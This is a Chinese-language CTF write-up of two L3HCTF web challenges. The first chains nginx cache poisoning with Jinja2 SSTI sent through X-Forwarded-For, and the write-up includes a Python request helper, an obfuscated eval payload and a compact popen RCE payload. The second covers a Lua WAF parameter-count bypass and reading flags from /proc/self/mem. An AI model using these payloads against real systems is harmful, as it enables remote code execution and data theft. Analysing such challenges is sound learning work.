L3HCTF WP
很久没整理 wp 发博客了,等忙完最近这众所周知的事情会复现然后补一下之前的几场,一旦不写文章就会变懒,上半年很多精彩的比赛都没有很好的去复盘和学习
前言
第一次在阴间作息下的比赛,算是在第九届一个相对满意的成绩结束,分站赛第一次进前十(强队没有全来打导致的,赛季初能进前20就不错了),最后总排24,太微妙的名次,如果进了 final 的话那就是老天赏饭吃。web 依旧是中规中矩,勉强不拖后腿,最近重要比赛都因为各种原因第一时间无法参与,导致在联队里打不出什么成绩,下学期专心再打半年吧。
best_profile
这道题在调试排坑上耗费了我太多时间,不够理性和熟练导致的,我好像没了调试就不会做题
逻辑很清楚,xff 带着恶意 ip 去在get_last_ip
接口写入界面,ip_detail
访问造成 SSTI ,但是需要认证
方法是 nginx对于静态文件的缓存利用,注册一个.js 这种静态文件后缀的用户就会在第一次被访问之后缓存,先在 /get_last_ip/ 路由携带者正确的恶意 ip 后访问写进去,后续请求不走后端,读缓存
但是这里会因为
导致一些符号出现转义,这个地方卡了我一下,写个转接头给 fenjing,他跑不出来的我也不会,这里有更好的写法
from flask import Flask, request, render_template_string
import re
import requests
import os
app = Flask(__name__)
@app.route("/template", methods=["GET", "POST"])
def template():
cache_dir = "/cache"
if os.path.exists(cache_dir):
for f in os.listdir(cache_dir):
file_path = os.path.join(cache_dir, f)
try:
if os.path.isfile(file_path):
os.remove(file_path)
elif os.path.isdir(file_path):
import shutil
shutil.rmtree(file_path)
except Exception as e:
print(f"Error deleting {file_path}: {e}")
if request.method == "GET":
return '''
<form method="post">
<input name="code" placeholder="Enter Jinja2 template">
<button type="submit">Run</button>
</form>
'''
template_code = request.form.get("code", "")
import requests
# === 配置 ===
session_cookie = ".eJwlzrsNwzAMBcBdVKegqB_pZQyJfETS2nEVZPcYyAAH3CftceB8pu19XHik_eVpS8acXYGmZY7gJqYVBdkj1K3NrCMaT4puwx1cPAvVZV0EWds0wRy5SBssDqgO8qIBvWXAqIc4E5UlxFYRmEWirk6oo-cq6Y5cJ47_pqfvDxXwL_4.aHLZWw.pRBOKD7wLAv_HPBhI84kOH1yiUc"
payload = template_code
headers = {
"Cookie": f"session={session_cookie}",
"X-Forwarded-For": payload
}
url1 = "http://172.22.33.254/489.js"
url2 = "http://172.22.33.254/get_last_ip/489.js"
url3 = "http://172.22.33.254/ip_detail/489.js"
res1 = requests.get(url1, headers=headers)
res2 = requests.get(url2, headers={"Cookie": f"session={session_cookie}"})
# res3 = requests.get(url3, headers={"Cookie": f"session={session_cookie}"})
content = res2.text
result = match = re.search(r"<p>(.*?)</p>", content, re.S)
if not match:
return "No <p> found!"
extracted = match.group(1)
# === 把提取到的做二次 Jinja2 渲染 ===
result = render_template_string(extracted)
return result
if __name__ == "__main__":
app.run(port=5001, debug=True)
最后的 poc
X-Forwarded-For: {{_1919.__eq__.__globals__.__builtins__.eval((lipsum|escape|batch(22)|first|last)+(lipsum|escape|batch(22)|first|last)+e|pprint|lower|batch(6)|first|last+x|map|string|batch(27)|first|last+x|map|string|batch(29)|first|last+e|slice(9)|string|batch(9)|first|last+e|slice(6)|string|batch(6)|first|last+e|slice(8)|string|batch(8)|first|last+(lipsum|escape|batch(22)|first|last)+(lipsum|escape|batch(22)|first|last)+()|e|list|batch(1)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+e|slice(9)|string|batch(9)|first|last+e|slice(19)|string|batch(19)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+()|e|list|batch(2)|first|last+cycler|e|list|batch(22)|first|last+x|map|string|batch(29)|first|last+e|slice(9)|string|batch(9)|first|last+x|map|string|batch(29)|first|last+e|pprint|lower|batch(4)|first|last+e|pprint|lower|batch(2)|first|last+()|e|list|batch(1)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+e|slice(16)|string|batch(16)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(8)|string|batch(8)|first|last+e|slice(11)|string|batch(11)|first|last+cycler.__doc__[697]+e|pprint|lower|batch(5)|first|last+e|slice(28)|string|batch(28)|first|last+e|slice(7)|string|batch(7)|first|last+e|slice(2)|string|batch(2)|first|last+cycler.__name__|pprint|list|batch(1)|first|last+()|e|list|batch(2)|first|last+cycler|e|list|batch(22)|first|last+e|slice(6)|string|batch(6)|first|last+e|pprint|lower|batch(4)|first|last+e|slice(7)|string|batch(7)|first|last+e|pprint|lower|batch(3)|first|last+()|e|list|batch(1)|first|last+()|e|list|batch(2)|first|last)}}
官方给的更简洁的 poc
{{ config.__class__.__init__.__globals__[request.args.os].popen(request.args.cmd).read() }}
gateway_advance
一个 OpenResty + nginx + Lua 脚本去实现 waf 的题,第一次见这个,挺有意思的
OpenResty 本质上是对 Nginx 的增强版,内置了 ngx_lua
模块,让 Nginx 可以直接运行 Lua 脚本。 这样就可以在 HTTP 请求生命周期的各个阶段(如 rewrite/access/content/filter)插入 Lua 脚本,动态处理请求。
local args = ngx.req.get_uri_args()
在请求参数过多时会出现解析问题,一般的默认长度为100,如果我们大于这个就可以造成绕过
任意文件读取下,关闭了flag的读取但是没关passwd的,会残留fd,本地有个fd10但是读不出来,尝试遍历读取,然后 Range 分块读取去规避检测回显
拿到密码访问 /read_anywhere
路由进行读取(前面 static 路由的任意文件读取无法实现对 /proc/self/mem
这种虚拟文件系统进行读取,因为这些文件获取到的文件大小为 0)。先读取内存映射 /proc/self/maps
,根据对应的内存范围读取 /proc/self/mem
扫描 flag。
这里我不太懂内存地址,看到有个 delete 就直接去看了这个地址,实际应该去扫
那个 misc 不写了,php 和 java 的题打完国赛学着写一下,先开个头